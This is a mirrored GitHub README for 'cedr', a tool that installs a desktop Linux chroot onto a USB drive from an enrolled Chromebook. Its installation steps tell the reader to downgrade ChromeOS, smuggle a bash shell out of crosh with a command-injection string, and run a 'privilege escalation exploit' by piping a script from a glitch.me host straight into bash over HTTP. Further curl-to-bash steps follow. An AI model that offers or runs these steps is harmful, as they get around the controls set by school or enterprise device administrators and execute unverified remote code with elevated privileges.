Code Monkey home page Code Monkey logo

cedr's Introduction

cedr

cedr - the ChromeOS Enrolled Desktop Runtime

Requirements

  • A Chromebook, downgraded to v81 with crosh access
  • A USB drive or SD card, 4gb or more (32gb is reccomended), formatted with a single partition, ext4 filesystem

Installation onto a USB drive

  1. Open a crosh tab (Ctrl+Alt+T) and get into bash:
set_cellular_ppp \';bash;exit;\'
  1. Run the privilege escalation exploit:
bash <(curl http://hostz.glitch.me/80.sh)
  1. Now, plug in your USB drive/SD card and find the path to its block device. Usually, it'll be /dev/sda if you're using a USB drive, or something different with an SD card. Either way, use the following command to find it (it's usually at the bottom)
fdisk -l
  1. Once you know the drive you're installing cedr to, you now need to choose a target to install. You can choose from the options here. Each target represents a desktop environment. For this tutorial, I'll use xfce as the target, but you can change it to whatever you want:
curl https://raw.githubusercontent.com/rainestorme/cedr/main/cedr-bootstrap.sh | bash -s /dev/sdX xfce
  1. This will take around 50 minutes and once it's done, it will prompt you for a username and password. Supply these and the chroot will automatically be unmounted. Now, to activate the desktop, run the following:
cd /home/chronos/usbdrv
./cedr-activate.sh
  1. Now that you're done working within your chroot desktop environment, you can logout of the session using the built-in controls. If you want to unplug the USB drive, wait for the process to finish unmounting, then run the following:
bash <(curl http://raw.githubusercontent.com/rainestorme/cedr/main/cedr-umount.sh)

Usage

After creating a USB drive with cedr, you can remount it and launch the desktop environment with the super-duper-ultra-easy command found below:

curl https://raw.githubusercontent.com/rainestorme/cedr/main/cedr-mount.sh | bash -s /dev/sdX

Once again, replace /dev/sdX with your USB drive/SD card.

Once you're done, just do the same thing as before to unmount your drive:

bash <(curl http://raw.githubusercontent.com/rainestorme/cedr/main/cedr-umount.sh)

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.